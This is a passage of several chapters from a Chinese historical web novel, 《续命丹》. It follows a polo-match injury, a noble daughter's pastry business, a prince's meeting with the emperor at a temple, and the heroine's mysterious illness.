而女郎则是为了替自己挑选如意郎君,体魄强健的少年郎谁能不喜欢。 抽签结束,陆纯和朱慎抽了不同的队,经大家讨论后,由陆纯和朱慎担任各自队的先锋。 即将比赛,组织者朱氏让仆从端着两个大托盘到观看席上,挨个让女郎们押彩头,东西不限,都是些寻常物件,有押手绢、香包、首饰的,图的只是吉利。 陆婠和陆萸都是押自己兄长赢,沈氏兄妹也一起押了陆纯,吹响号角,比赛正式开始。 无论在何种年代,现场观看比赛总是激动人心的,陆萸在一旁看的热血沸腾,恨不得亲自上场替兄长抢球。 比赛共两场,中间要休息一刻钟,让队员补给休息后再进入下一场,第一场比赛很精彩,两队打了平手。 中场休息的时候,陆萸站起身激动的挥舞着手让陆纯到看台上休息。 陆纯带着交好的几名队友到看 31. 第三十一章 可惜 《续命丹》全本免费阅读 朱慎忙上前向母亲行礼道:“是孩儿没能管好妹妹,让母亲费心了。” 虞氏扶过儿子的手,然后向在球场上的郎君郑重行礼:“突发状况让各位郎君受惊了,现下我要去查看张郎君的伤势,如有接待不周之处,还望各种海涵。” 在场的儿郎们忙抱拳回礼,道:“使君夫人先去忙吧,麻烦您代我们向张郎君问好。” 虞氏没多做耽搁,又向朱慎交代一番后才急匆匆离去。 虞氏走后,双方队员都没了之前的比赛热情,找了个少年作为替补后匆匆完成了今日的比赛。 最终,像是大家商量好了似的,两场都打了个平手,若是以前,两局平必须加赛一场,今日却都没了心情。 方才场中张郎君的惨叫声历历在目,女郎们也没人再为喜欢的队呐喊助威。 因为平局,赛前押的彩头如今都让大家各自领了回去,朱氏仆从端着托盘挨个走过各家的坐席时,场面安静得可怕。 一场期待已久的赛事,最终安静收场,各家长辈带着晚辈有序的离开了朱氏马场。 因朱琳方才对着儿郎们大声质骂,有些儿郎离开时仍忧心忡忡,毕竟当时太乱了,记不清自家的马有没有踩到张郎君。 回城的路上陆纯没有骑马,而是在牛车内细细和魏氏说了当时的情况。 说完后,他问魏氏:“他因与我抢球才落马,日后可会怨怼于我?” 魏氏坐在看台上,未能看清其中细节,如今听儿子细说,便猜测到张兴可能求胜心太强,才导致落马。 当然,他自己控马技术不好才是关键,只是现在伤害已造成,是何种原因已不好在背后讨论。 她思忖须臾后道:“这事怪不得任何,你无需多想,呆会回府后,你换身衣服,陪我去张府看看张郎君的情况。” 向来活泼话多的陆纯,此刻变得异常沉默,他总想起张兴血肉模糊的腿和朱琳那发狠的质骂。 早知道会造成这样的结果,那球让给张兴又何妨,他如今有些后悔了。 今日去马场的车马众多,所以陆氏只架了一辆牛车,牛车咕噜咕噜驶回城里,车内异常安静,显得车外的銮铃声愈发响亮。 魏氏带着三个儿女坐在车内,想着如何应对接下来的事。 若是张郎君救下来了还好,若不能,以张氏老夫人对孙子的溺爱程度,迁怒陆氏是不可避免的。 江东四大世家,顾厚,朱武,张文,陆忠,曹氏在收复江东后,为安抚江东世家,除了一开始不待见陆氏,对其余三家皆委以重任,礼遇有加。 张兴的祖父是从司徒之位上致仕的,父亲是徐州刺史,与陆弘定亲的张文茵的父亲是豫章郡太守。 只是他们这一辈都在外任职,就把孩子们留在老夫人膝下教养,因老夫人溺爱孙辈,张兴这一辈的郎君没一个有出息的。 在魏氏看来,就是自己未来儿媳都要比张兴强上几分,但愿能救活吧,魏氏默默祈祷着。 陆纯此时也从恐惧愧疚中醒过神来,他忙问魏氏:“倘若,我是说倘若张郎君就这么去了,阿兄的婚事,可会受到影响?” 他想到兄长三番五次让自己不要冲动,便想到了那个溺爱孙辈到极致的张老夫人。 魏氏听了,轻叹一声后,安抚的拍拍陆纯的肩膀,道:“莫要胡思乱想,张太守是明事理的人。” 看到儿子眼中的自责愧疚,她心中一软,他也只是个十六岁的孩子而已。 于是温言安慰道:“今日原是冲着开心去的,我们也不想让意外发生。” 陆萸也忙安慰:“文茵阿姊也是明事理的。” 陆婠道:“马场上比赛,本就该预判到风险,想来张家也不会那么无理取闹。” 大家的安慰可能有些效果,陆纯忐忑不安的心放下了些许。 大家又是一路无话直至回到陆宅,要回各自的院落时,魏氏交代姐妹二人最近都不要出门。 想到朱琳,她又对陆婠道:“若是阿琳约你独自相见,你先来请示我。” 陆婠心里想着她们是好友,但看到母亲凝重的表情,她连忙答诺。 魏氏准备一番后带着陆纯出门了,他们先是去了张府,被告知张兴因伤势太重不宜移动所以还留在朱氏马场,母子俩又连忙驾车赶往郊外。 至马场的时候接待他们的是朱慎,张兴已经醒来,不幸中的万幸,虽然伤势很重但好在还活着。 朱氏以武起家,家中恰好有擅长骨科和外伤的医官,他们已经及时替张兴正骨并包扎好外伤,剩下的就只有每日换药,慢慢疗养。 以张兴目前的伤势情况,并不能预测到日后能恢复到何种程度,好在没有伤到尾椎骨,所以最坏就是以后双腿瘸了需要坐轮椅。 陆纯随魏氏进室内看望张兴时,张兴的母亲正在一旁抹泪,张老夫人没在,说是怕她受不了,所以还未告知。 朱琳此时已恢复平静,虽然眼睛哭的红肿,但只是安静的在一旁守着。 魏氏带着陆纯和张兴母子见礼后,见张兴和母亲都不愿意搭理他们,他们就识趣的出来了。 朱慎的母亲虞氏将魏氏送至门口时,低声叹道:“本来是件开心的事,不成想闹成如今这番局面,真是有苦难言。” 魏氏也叹道:“你多宽慰宽慰他吧。” 那是朱氏的未来女婿,在朱氏马场上出事,总不至于迁怒她。 虞氏点点头:“也唯有如此了。” 她不怕张家迁怒,愁的是女儿还未过门,女婿就已经残了,这以后的日子该怎么过呀。 走在后面的陆纯对朱慎道:“想来他日后也不想见我,你替我宽慰他吧,早知会这样,我在荆州多呆一月再回来。” 朱慎一直看不上张兴,奈何自家妹妹喜欢,如今出这事,他只认为是张兴自己骑术不精还急于取胜造成的。 他拍拍好友的肩膀,安慰道:“你放心,一切有我。” 陆萸和姐姐一直等到天黑才等到魏氏和陆纯回来,得到张兴还活着的消息二人齐齐松了一口气。 接下来几天,陆萸不能出门,就只能将原打算和谢洐谈的合作的事暂时搁置。 她现在每天用心练习竖笛,一旁的陈老师听了欣慰不已,没有天赋,努力来凑也还是可以的。 这日下午,沈玉带着妹妹来辞行,他们要回吴郡了。 在听过陆萸的曲子后,二人不约而同地看向陈老师,眼中满满的钦佩。 这么难以入耳的声音,他竟然能日复一日的听,当真好涵养。 陈老师被沈玉看得不自在,轻咳一声掩饰后,道:“许久未听师弟吹奏,不如现下与我合奏一曲如何?” 若在以前,他自惭形秽,不会主动提出此等要求,如今得徒弟点拨,他看开了很多事。 沈玉听了,欢喜道:“我早就想与师兄合奏,又恐师兄嫌我浮躁。” 原来一直以来都是自己固步自封,陈老师听了,心境变得更加开阔了,立马拿起竖笛和沈玉合奏起来。 二人分两个声部合奏,吹的是《梅花引》,堪称完美的演奏让听者余音缭绕,久久不散。 过了许久,陆萸才回过神,赞道:“想来,我明天早上能听到鸟儿的叫声了。” 在场的各位听了此话,齐齐笑出声来,太守府幺女吹竖笛把鸟都吓跑的笑谈,大家都是听过的。 临分别,沈玉与陆萸约定今年冬日一起在华亭赏鹤,到时候他要拿第一篇游记与她分享。 又过了十日,听闻张兴的伤势已经稳定,张家已经把张兴从朱氏马场抬回家。 而张老夫人见到孙子惨状,生生被气得晕了过去,醒来后把周围能骂的人都骂了个遍还不解恨,又骂了陆氏和参赛的儿郎,最后连朱老夫人过大寿也被她翻出来骂。 她向来就是这种胡搅蛮缠的性子,大家虽然有所耳闻,但都没当回事,想骂就骂吧,她骂多了,大家心里的愧疚反而更少了。 终于到了立冬时节,建业城越来越冷,天空时常飞起带细雪的雨。 陆萸最近改良了几款点心,这天下午,她将做好的点心装盒后坐上牛车赶往华采阁。 牛车行驶在湿漉漉的青石板路上,发出“咯吱咯吱”的声音,陆萸掀开帘子一角,静静欣赏起江南的烟雨蒙蒙。 建业城这么冷,想来洛阳城该下雪了吧,不知道君期能否受得住洛阳的寒冷,不再服药的他又能否撑过冬天。 她的思绪越飞越远,到华采阁时,木槿连着提醒几声,她才回过神来。 下了车,陆萸依然是在楼上密室见的谢洐。 谢洐好似不怕冷,依然穿着秋衣,姿态优美的倚靠在窗前,这么些年,岁月仿佛忘记了他。 在氤氲的茶雾中,他那张脸如当年一样,看凡事都漫不经心,脸上有笑,却不达眼底。 陆萸突然想起前世女同学说过的话:若一个帅哥明明不渣,却整日一副玩世不恭的样子,那肯定是受过情伤。 “小九,发什么呆?”谢洐见陆萸坐下后看着自己不说话,出言提醒。 陆萸这才回过神来,忙将食盒中的点心拿出来放在案 32. 第三十二章 创业 《续命丹》全本免费阅读 签好合约后,陆萸信心满满的行动起来了,试营业期间一天才四十份而已,为了赢得口碑,每一份点心陆萸都想自己做。 试营业结束后,如果营业额可观,她就要让人把芝兰院旁边空闲的小院子围进来,然后打造一个专门的厂房。 厂房除了堆放食材,还要让人按自己的设计打造几个烤炉,这样才能提高产量。 至于人手,目前参与制作点心的厨娘秋娘就很适合。 秋娘今年二十八岁,是陆氏家奴,她的夫君是陆氏部曲,在护送祖父的路上英勇牺牲,所以秋娘被安排到了建业。 陆萸没做点心时,心灵手巧的秋娘除了偶尔有机会制作点心,大部分时间都是在厨房打杂。 她烤制点心都是按原有食谱,烤的都是传统点心,味道中规中矩,没机会创新和研发新品,毕竟要糟蹋食材,她没那个胆量。 陆萸痴迷上做各式点心后,魏氏特意将她调拨给陆萸使唤,她终于不用在干厨房的杂活也不用被大厨排挤,所以心底对陆萸非常感激。 大凡陆萸要求的,她都要牟足劲做到尽善尽美。 当陆萸把自己的想法告诉秋娘时,秋娘别提有多激动,她做梦都想不到日复一日在厨房打杂的她,竟然也能有机会跟随主人挣钱。 “女公子要奴婢做什么都行,只要您不嫌弃奴婢,奴婢定不让您失望”她立马跪在地上保证。 陆萸知道她这样的世代家奴是一辈子离不开陆氏的,所以她很放心把自己研发的方子交给她做。 忙拉起秋娘后,她笑道:“还要留着力气干活呢,别动不动就跪下,小心伤了膝盖。” 秋娘知道接下来主仆二人有的忙,便没再耽搁,风风火火地准备食材去了。 有了秋娘,陆萸还向魏氏要了一个长相大众却口齿伶俐的侍女,名唤石楠,今年刚十六。 石楠不需要烤制点心,只需要向顾客详细介绍茶点的品类,以及食用方法和功效。 如果后期销量大增,陆萸还要继续培养新人,这样才能不影响出餐。 第一天,陆萸制作好后,带着秋娘和石楠出发去华采阁。 按协议,华采阁要从后台留一小间房给陆萸的人存放点心和做茶饮,这个要求很容易满足,谢洐很快就让人准备好了。 陆萸带着食盒进去考察了一圈,麻雀虽小五脏俱全,她对小厨房还算满意,因是第一天试吃,吆喝的事就让华彩阁的小厮来做了。 陆萸的人不需要吆喝,只需要上茶品的时候详细介绍即可,小厮不愧是谢洐挑选出的人,人长的秀气嘴又甜,一会就有很多贵女慕名到接待室等着品尝了。 看这架势,每人品尝一份单品的话,今日做的份量估计不够分。 于是陆萸让石楠将每份单品分成四份,然后再每样单品随机单配两外一种口味,一个盘子保证两块点心,两个味道。 就这样,好看又可口的点心出餐了,而紫苏饮成本低,每人都能免费品尝一碗,秋娘专门留在小厨房做紫苏饮。 陆萸悠闲的和谢洐坐在密室的窗旁,品着从会稽庄园送来的新茶,聊着她接下来的一些打算,如今陆氏的炒茶技术越来越成熟了。 现在将近年关,各类宴请比较多,各个时代都一样,年关时节衣服首饰、胭脂水粉都是热销货,也正是打开茶点销路的最佳时机。 元旦的时候各家都有互相送礼的习俗,今年华彩阁第一批答谢客户的精装礼盒,陆萸打算免费送给华彩阁使用了。 闻言,谢洐笑道:“我的老客户多着呢,你不得出大血了?” “陈郡谢九郎能为我的事业做出让步,我又如何会舍不得那点东西?”陆萸笑着反问。 等级森严的封建制度下,所有人都将经商视为下作,姣姣如明月的谢九郎曾经是多少洛阳贵女的梦中情郎,他能不拘小节走上经商这条路,不知心里经历了多少矛盾和纠结才走至今日。 陆萸看问题通透,也不是为了挣钱不择手段的人,所以要让谢九郎主动送礼给那些瞧不上他的高门世家,她心里还是过意不去的。 “那些都是浮名,我不在意的”谢洐不甚在意的摆摆手道。 陆萸却没有点破,如果他不在意世家谢氏的名声,就不会一直保持着世家公子的生活做派。 他的生活起居,穿衣出行无一不精,甚至每年去东山赏花,那阵仗和派头也不是一般世家公子能摆得起的。 他做着别人看不上的职业,却用赚得的钱,向世人证明,他还是当年的谢九郎,他周遭的一切都无一不透露着高雅精致。 “你不在意,我却是在意的”陆萸抿了一口茶后,看着窗外接着道:“你和九堂叔年少相交,后来你二人选了不同的路,但我仍希望多年后你二人再次相见时,眼中看到的是熟悉的人。” 谢洐闻言,愣了许久,才苦涩一笑,道:“真是傻孩子,走上这条路就注定回不到当初了。” “不,我相信这世上有经得起时间考验的人和事,你如是,九堂叔亦如是”陆萸坚定的回。 陆萸和九堂叔陆恭没有交谈过几句,有关他的一切都来自家里的兄长和姐姐的描述,她却能从中拼凑了一个至情至性的儿郎。 陆萸说这话的时候,眼神笃定而充满自信,谢洐观之,那些早已远去即将模糊的青葱记忆又被拉了回来,那个年少时陪自己打马游京都的儿郎,可还会这般想起自己呢? “你有多久没与九堂叔见面了”陆萸见谢洐沉默,问道。 “从我经商后,便未相见了,有多久,我都忘了”谢洐叹道。 经商,被世家视为下作,被所有相识的人耻笑,他又如何敢主动联系那个一直清风明月般的定北侯世子。 “今年祭祖后,九堂叔要回洛阳任职了,届时你在洛阳的话,可以会会他”陆萸鼓励道。 主动迈出第一步,有的误会才会解开,谢洐当年选择经商,想来也有他的苦衷,九堂叔肯定会理解的。 过了一会,陆萸问:“那你走至今日,可曾后悔?” 这次谢洐很快就回答,他答的很坚定:“从未后悔!” 什么陈郡百年谢氏,什么北方高门大族,哪怕是太后的娘家,其实内里早已烂透,光鲜亮丽的外表下全都是空的。 当年他们想和他决裂,可后来为了用他挣的钱粉饰太平,又舔着脸想要重修旧好,所以谢洐从未后悔经商,面子,哪有里子来的重要。 陆萸笑道:“你若认定目标,又何须在意其他?去见好友,若他和那些俗人一样,那是他不懂珍惜,但若是你自己放弃,便是你不知好歹了。” “噗嗤”谢洐听了,轻笑出声,摇摇头道:“我真是越活越过去了,竟被一个晚辈说教。” 陆萸听了,跟着笑了起来,想不到看起来凡事都不在意的谢九叔也有如此扭捏的一面。 冬日的暖阳透过窗棂照了进来,光影在二人中间的案几上浮动,明明暗暗看不真切,却合着氤氲的茶雾带着松快和喜悦,陆萸陪谢洐聊了许多对美好生活的展望。 梦想还是要有的,不然和咸鱼没有区别了,谢洐记住了陆萸的这句话。 今日的试吃活动开展的很顺利,甚至有人主动打听点心的报价,甚至有财大气粗的想雇佣厨子去家里做。 这也是个不错的销路,但陆萸不想自己人去别人府上受累,她可以接受外卖订单。 接下来两天试吃就更加顺利了,第一天的时候,石楠在介绍产品时还有些紧张,到后面两天就变得落落大方。 她长相一般,不会被那些贵女嫉妒,但她说话轻柔、口齿清晰,让贵女们更有耐心听她细细讲解。 而对于石楠而言,在这里的活计远比在府中时候轻松,所以每天都是精神抖擞的讲解,让那些顾客都忍不住开始预定产品了。 第四天,正式营业,因为前面三天有人预定了产品,所以第四天陆萸做的量翻倍了,共八十份的量,每个单品二十份,她也没有定太复杂的价格,统一按一份五百钱。 陆萸定这个价格的时候,秋娘惊呼:“这 33. 第三十三 期盼 《续命丹》全本免费阅读 魏氏以为增派了人手,陆萸就有时间好好学习竖笛,她已经听说沈三郎约了陆萸赏鹤。 若是真的,那小女儿学好竖笛,二人能聊的更多。 可惜,陆萸还是让她失望了。 无论哪种行业,年底都是最好挣钱的时候,如今陆萸心中设想的厂房已就位,她要抓紧时间设计九宫格礼盒产品。 无论在哪个年代,世人都对九这个数字情有独钟,想来九宫格礼盒也会受大家喜爱。 吃食在于精而不在于多,毕竟那些高门大户里的人什么好东西没见过呀。 她除了设计点心品类,还得设计精美礼盒,有人喜欢高雅,有人喜欢大富大贵,有人喜欢喜庆吉祥,所以她共设计了六款图案,材质分三种不同档次的木头,刚好十八款礼盒。 魏氏新调拨的两个侍女一个唤红桑,一个唤金葵,给他们培训几天后,二人紧锣密鼓的上岗了, 金葵性格更内向,陆萸让她给秋娘打下手,红桑则和石楠一起负责讲解产品和出餐。 九宫格礼盒的九个单品分别是如意糕、香芋梅花酥、茯苓山楂糕、山药桂花饼、荷花酥、茉莉南瓜酥、蛋黄绿豆糕、杏仁云片糕、沙琪玛。 九个单品,每个单品两块,寓意成双成对,按不同的颜色,用了九种花的模具做成。 打开盒子的时候,里面的点心不像吃的,倒像是满满一盒子的花,特别是荷花酥,像装在格子里的并蒂莲。 谢洐看了,惊喜道:“这么好看,我都不舍得送人了。” 陆萸笑道:“见识过天下好东西的谢九叔都夸,看来这个年底,我们有希望大赚一笔了。” 二人商量好礼盒的定价后,谢洐开始按计划主动拜访客户去了。 虽然大家都将经商视为下作,但他身后毕竟是陈郡谢氏,而且当今太后是他姑母,所以当他说明来意并主动将礼盒送出去的时候,那些看不起他的人反而有些受宠若惊。 谢洐送人的礼盒是最高端的那款,他只送了四家,多了反而不值钱了。 他送礼也不是随便送,而是挑选了两家低调有实力的,两家喜欢显摆的。 就这样,低调的那两家用礼盒接待贵客,爱显摆的那两家也不甘示弱,一传十十传百,礼盒就这么被推广开了。 谢洐的名人效应就是不一样,完全超出陆萸的意料,甚至有人慕名从其他地方赶来特意定制礼盒的。 订单剧增,陆萸已经和秋娘全身心投入生产,石楠、红桑也暂停几日去华彩阁了。 现在芝兰院除了那些做粗活的不参与,加上木槿和银杏,共七个人,一门心思都在抓生产,忙不过来,根本忙不过来。 好在,通过大家齐心协力没日没夜的努力,各处定制的礼盒皆能完美交付。 单礼盒这一项,陆萸一共赚了整整两千六百八十三两,真是辛苦一个月抵得上一整年,她再次见识了江东世家们的豪横。 谢洐终于出发北上了,礼盒订单就不再接单,华彩阁内的小单品则继续出售。 陆萸结束了一个月的奋斗后,赚钱的喜悦还没能体会几天,竟然病倒了,这身体真是太差了,根本比不了前世做牛马的时候。 医官给她诊脉以后,总结出她是因为疲累过度加上天寒,所以受了风寒,需要静养。 医官还给她开了一个方子,自此她又开始不得不日日都喝难以下咽的苦药。 只是这次和以往不一样,以往喝药再配合足够的睡眠,七天左右就能恢复,这次的病却非常顽固。 她非但没好还开始咳嗽了,南下祭祖的时间越来越近,她的病却反反复复一直不见好。 临出发去华亭前,魏氏想让陆萸在建业养病,陆萸却拒绝了。 这次她非去不可,她要向祖父详细介绍开书店的计划,所以哪怕是爬她也要爬着去。 魏氏拗不过她,就只能作罢。 临出门,收东西的木槿见陆萸实在咳的厉害,问道:“女公子小盒子里面的药需要带上吗?” 陆萸已经咳得两眼冒金星,听到木槿的话,犹豫了一下,才点点头。 君期说那是镇咳化痰的良药,其实她是有些舍不得用的,只是想着要和祖父商议大事,那还是带上吧,要是真咳得说不出话,她就服一颗。 她数过里面只有六颗,那是他舍下的红尘旧物,从此以后,她再也收不到这样的礼物了。 思及此,她仿佛也能体会到他当初在病床上也是如今日的自己,煎熬并忍受着相似的病痛。 自己才短短二十多日就已这般难熬,他是以怎样的毅力才熬过了一年又一年的寒冬的呢? 远在洛阳都城,开始下起入冬后的第三场雪。 各地诸侯王公子尊诏书到洛阳后,当今陛下却没有通知他们面圣,而是让太学博士出面通知他们入太学相关事宜。 公子们也知道,这是陛下想慢慢考察他们,现在谁若沉不住气,谁就有可能最先出局,所以他们对太学博士非常客气。 太学博士安排他们上什么课,他们就准时到教室上听什么课,到教室后,该坐哪里就坐哪里。 对老师和同学,他们不摆身份,和今年入学的新生一般无二,曹壬就这样默默无闻的坐到了教室的一角。 起初,也有同学对他好奇,只是他整日咳嗽影响老师教学,不得不主动请病假后,慢慢的,也没有同学再关注他。 学堂里哪怕清河王府两位公子差强人意,但还有其他候选公子,他们根本巴结不过来。 曹壬住在太学学舍,每日散学,陆弘都会和魏源一起去探望他,顺便将白日里博士授课的内容与他分享。 虽然洛阳的天气日渐寒冷,曹壬却过的很充实,只要病情稍有好转,他都会在太学休息日出城去白马寺礼佛。 因为有静初寺住持的手书,白马寺住持净觉对曹壬很欢迎,大凡他到白马寺,定要抽出时间与他讨论佛经。 许是因为心中已经做好决断,该放下的皆已放下,曹壬不再服药,病情却没有恶化,甚至已经不再咳血。 虽然咳嗽没有痊愈,夜里却慢慢能睡整觉到天明,他将这一切归功于佛祖的恩赐。 或许,因为他即将皈依佛门,佛祖怜惜弟子,便想给予他康健的体魄。 这日,曹壬如往常一般坐在白马寺的禅房与净觉论经,窗外不知何时已悄悄落下白雪。 这时大弟子慧能来报,有贵客来访,曹壬想要回避,却已来不及,贵客已脱履入室。 当今圣上名曹启,现年五十二岁,登基已有三十年,他不是佛教徒,却也会偶尔到白马寺找净觉论佛法。 自太子突然薨逝后,曹启来白马寺的次数变得更多了。 净觉见贵客是曹启,刚要出声行礼,却被曹启摆摆手打断。 他看着净觉身后的曹壬问:“不知这位公子是何人,扰二位清修,还请公子海涵。” 他这么问,净觉便猜到陛下和曹壬是未见过的,而且此刻陛下不想暴露身份,于是他回头看了眼曹壬。 曹壬这才从后面走了出来,敛衽行礼道:“在下是南安王长子曹壬,贵人有事找净觉法师,在下就先退下了。” 曹壬体弱多病,以往南安王府去洛阳觐见皇帝都轮不到他,所以他从未有机会见天家容颜。 曹启听了他的回答,却是大吃一惊,那个游手好闲,整日听曲遛鸟的闲散番王怎么会有这么一个出尘脱俗的公子。 净觉发现帝王失态,忙上前道:“不知施主今日到访,未能远迎,失敬。” 曹启已回过神来,笑道:“不知二位方才所论何经,可否允许在下旁听。” 他不介绍自己,净觉不会点破,于是回道:“我们在论龟兹大法师翻译的《金刚经》。” “不知是该经书那一句?”曹启问。 “不应住色生心,不应住声香味触法生心,应无所住而生其心,是为不执着于外物,内心自然清净”净觉答。 曹启问曹壬:“曹公子也是这般理解的吗?” 曹壬想了一下,才回:“《道德经》云:五色令人目盲,五音令人耳聋,五味令人口爽,驰骋畋猎令人心发狂,难得之货令人行妨。是以圣人为腹不为目,故去彼取此。在我看来,二者有异曲同工之妙,人之欲望无穷,唯有节制欲望方能保持内心的安足清静。” 曹壬想到用老子的言论解释《金刚经》中经典语录,清晰明了通俗易懂,净觉愈发欣赏他的慧根。 而一旁的曹启,也终于能够理解眼前的少年为何如此超凡脱俗了,因为他虽身在红尘却已如莲花座下弟子。 节制欲望,方能保持内心安足清净,可谁又能真正做到呢? 诸侯王公子进洛阳后,他们频繁奔走于朝廷重臣的府邸间,只为能够寻得支持者。 他们以为他们做得隐蔽,却逃不过曹启的眼,那些不过是当年的竞争者们玩剩下的罢了。 若说有人当真不在意泼天的富贵,真正做到内心安足清净,恐怕只有眼前的少年了。 思及此,曹启忍不住看着曹壬道:“公子大智,不知在下日后可否有幸与公子论经?” 曹壬还不知眼前是何人,但见净觉法师如此重视,想来身份不会太差,反正自己即将入佛门,谁与自己论经都无碍。 他笑回:“能得贵人认同,是某的荣幸,某平日住在太学学舍,贵人可在那里寻我。” 曹启见曹壬谦和有礼,愈发喜欢,于是道:“日后唤我开元即可。” 曹启,字开元,是为清河王世子时所用,过继给先帝为太子后,再也没有用过,慢慢的,大家都忘了这个表字。 曹壬起身行礼,道:“君期见过开元兄 34. 第三十四章 真相 《续命丹》全本免费阅读 建业到华亭,水一程山一程,陆萸和第一次去华亭时一样,几乎没有哪天是真正清醒的。 祭祖那天,她拖着半死不活的身体,跟着大家参与了整个流程,听说这次受寒生病的还有九堂叔家的妘堂姐。 祭祖结束后,大家都要回建业了,可陆萸已经病得再也经不起折腾了。 她现在白天清醒的时间越来越少,夜里发热难以入睡,白天都在补眠。 最后,经商议,祖父陆歆和陆纯都留在华亭,而陆恭夫妇则快马加鞭赶回北方寻葛医仙,葛医仙上月去洛阳访友了。 妘堂姐从小就有心疾,冬日里从来不敢让她生病,如今得了风寒,葛医仙却不在身旁,夫妇俩皆担忧不已。 若非担心长途奔波会加重病情,他们恨不得立马带着她一起去洛阳。 陆妘自我感觉比陆萸好太多,她安慰道:“有伯祖父和季真阿兄在,父亲母亲无需太过担忧,难说我再休息一阵,就能恢复了。” 大部分人得风寒,吃药配合休息好就能恢复,只要不是来回折腾,想来也没有想象中那么严重。 陆恭夫妇拗不过她,便让她留下了。 陆妘却有别的想法,母亲每日紧张兮兮地让人盯着她,她感觉是一种难以承受的负担。 虽然知道那是母亲关心自己,但这种无孔不入的关心有时候让她有些喘不过气来。 母亲回去了,她就可以毫无顾忌的去赏鹤了,天知道她已经向往了多少年,每次都是因为天气太冷被母亲阻拦,让她不得不和传闻中的仙鸟们失之交臂。 陆萸这一病,一直从不间断的在用药,却总好不彻底,夜里咳嗽睡不好觉,白天清醒的时间就越来越少。 期间沈玉来过华亭,见她病的严重就把赏鹤的事推到了明年,已经写完的游记也没拿出来。 就这样,一直到第二年正月初十,葛医仙才和九堂婶诸葛氏一起赶到华亭。 陆萸仍然缠绵病榻,陆妘却早已康复。 诸葛氏让葛医仙给陆妘诊脉再三确认已康复后,她起身行礼道:“是我们小题大做让葛公折腾这一趟,还请葛公海涵。” 葛医仙不甚在意的摆摆手,笑道:“你们爱女心切可以理解,再者我给妘丫头看了这么多年的病,也担心她加重心疾。” 陆妘已无大碍,一旁的陆歆道:“不知能否劳驾葛公给我另一个孙女诊脉?” 葛医仙当年同意给陆妘治疗心疾,因的是与陆歆的交情,如今听他提要求,自然很爽快就跟着陆歆走了。 陆妘小声和诸葛氏道:“萸妹妹病了好久,我也想去看看。” 她说话的时候很小声,眼神里却是满满的希冀。 诸葛氏好久没见女儿,思念的紧,所以看到这样的眼神,立马就心软了,笑道:“想去就去吧,待她康复了,你和她一起去赏鹤。” 她还记得女儿一直想赏鹤却未能如愿,如今天气逐渐暖和,也不用担心她受寒了。 陆妘得了同意,笑得非常开心,立马带着侍女麦冬出发去陆萸的院子。 葛医仙听完陆歆对陆萸病情的描述后,很是疑惑。 陆萸若只是得风寒,吃了那么久的药早该康复了,若是得了肺痨,咳嗽了这么久,估计早已咳血,确实是疑难杂症。 他伸手给陆萸诊脉后,却是大吃一惊,怎么才短短几月,身体竟虚弱寒凉至此。 他不相信,又拉过陆萸的另一只手诊脉,那只手若非还能探得若隐若现的脉搏,他简直要怀疑触摸的是死人的手。 那只手冰凉苍白,明明床前摆着火盆却没能让这只手有些许温度。 葛医仙神色变得愈发凝重,陆歆忍不住打断他诊脉,问:“我这孙女可还有救?” 一旁的陆纯听了却震惊不已,忙问:“妹妹得的不是风寒吗?怎会如此严重?” 葛医仙见陆萸还没醒,心想或许有什么病情是陆歆不知道的。 于是,他对陆纯道:“还请公子搭把手,我要给女公子施针,具体情况等女公子醒来后,我再回复你。” 陆纯得令,忙上前将昏睡中的陆萸扶起坐在自己怀里靠好。 葛医仙打开药童递过来的木盒,只见里面各种尺寸的银针整整齐齐摆放在绒布上。 他迅速挑选出几根银针后,给陆萸在不同的穴位上扎了针。 才扎至第五个穴位,陆萸就悠悠转醒了,她看到床前围满了人,愣了一下,才沙哑着问:“我这是怎么了?” 身后的陆纯急着回:“妹妹差点吓死我了。” 陆萸记得自己得了个感冒,然后睡了个觉而已,怎么就吓到兄长了? 葛医仙神色凝重的看着陆萸道:“女公子病情特殊,我希望你可以知无不言。” 陆萸点点头:“您请讲。” “你可曾服过什么药?” 药?陆萸想了一下,都是医官开的方子呀,听他的意思是自己吃错药了? 突然,她想起曹壬的药,于是道:“因我咳嗽难忍,所以服了一颗镇咳化痰的药丸。” 说着,她看了眼木槿,木槿很快就把药瓶拿来,倒出一颗递给葛医仙。 陆萸接着道:“此药丸是徐医仙所制,我有一友人常年服用此药,药效极好,我就吃了一颗,是我的病不宜用此药吗?” 葛医仙拿起药丸在鼻尖嗅了一下,然后用力捏碎药丸仔细分辨,道:“此药确实为镇咳化痰,只是有些霸道而已,你如今的身体不宜服用。” 陆萸忙点头。 葛医仙又道:“我会给你换个方子,先将你体寒之症调理好,你也回想一下可还有什么遗漏的。” 这么一颗药丸,就算极其霸道,最多也就耗损一些精力,但她的身体却已然非常虚弱,想来定是长期吃了什么药不好意思说。 时下有些高门贵女以瘦弱为美,为了盈盈一握的腰,偷偷服药的也有,葛医仙以为陆萸也是如此。 葛医仙又交待了一些事项,比如无需忌口,需要积极用膳等等。 陆萸皆点头答应了,心里思索着莫不是自己吃错什么东西了? 他们都走后,陆萸坐着回想这几个月来所吃的食物,都是寻常的呀。 不多时,木槿端着食盒进来,里面是一碗小米粥。 她边将粥碗端出来,边道:“女公子病了许久,不能立即进补,这粥是用鸡汤和茯苓一起熬制出来的,您先用。” 陆萸素来不挑食,哪怕病中,胃口也没有太差,所以很快一碗粥就见底了。 用了粥,她又躺下休息了两个时辰,再醒来时葛医仙新开的药已经熬成药汁。 医仙用药就是与普通医者不一样,虽然都是黑漆漆的药,喝起来却没有那么难以下咽。 就这样,葛医仙开始用心的给陆萸调理起身体。 用过几天的药后,陆萸清醒的时间终于多了起来,只是,每次葛医仙来诊脉,依然感觉她的病没有根治。 治病就得对症下药,如今找不到病因,医仙也有些棘手。 这天傍晚,太阳已经完全西沉,陆萸白日睡得多,如今天快黑了,反而睡不着了,于是让木槿扶着她去窗前坐着。 正月里的风还带着寒气,木槿给陆萸系紧披风后,问:“是否需要奴婢点灯?” 摇摇头,陆萸笑道:“今日十六,正好可以赏月。” 俗语都说十五的月亮十六圆,难得今日放晴,夜里可以赏月。 躺了这么久,她多渴望出去走走,可惜力不从心,如今能借这一方轩窗看看空中明月也是聊胜于无。 有些病有潜伏期,坐着窗前,陆萸将回忆往前推几个月,入秋后,除了重阳寿宴,她也没在外面用过餐。 葛医仙说那药丸极其霸道,那曹壬是如何承受的呢?这么想着,她忍不住伸手转动了一下腕间的佛珠。 不知不觉间,月亮如一盏银灯,悬挂在深邃的夜空中,而月光如水一般,柔和的洒向大地。 边想问题边拨弄佛珠的陆萸闻着佛珠传来的淡淡香味,脑中突然有了一个大胆的想法。 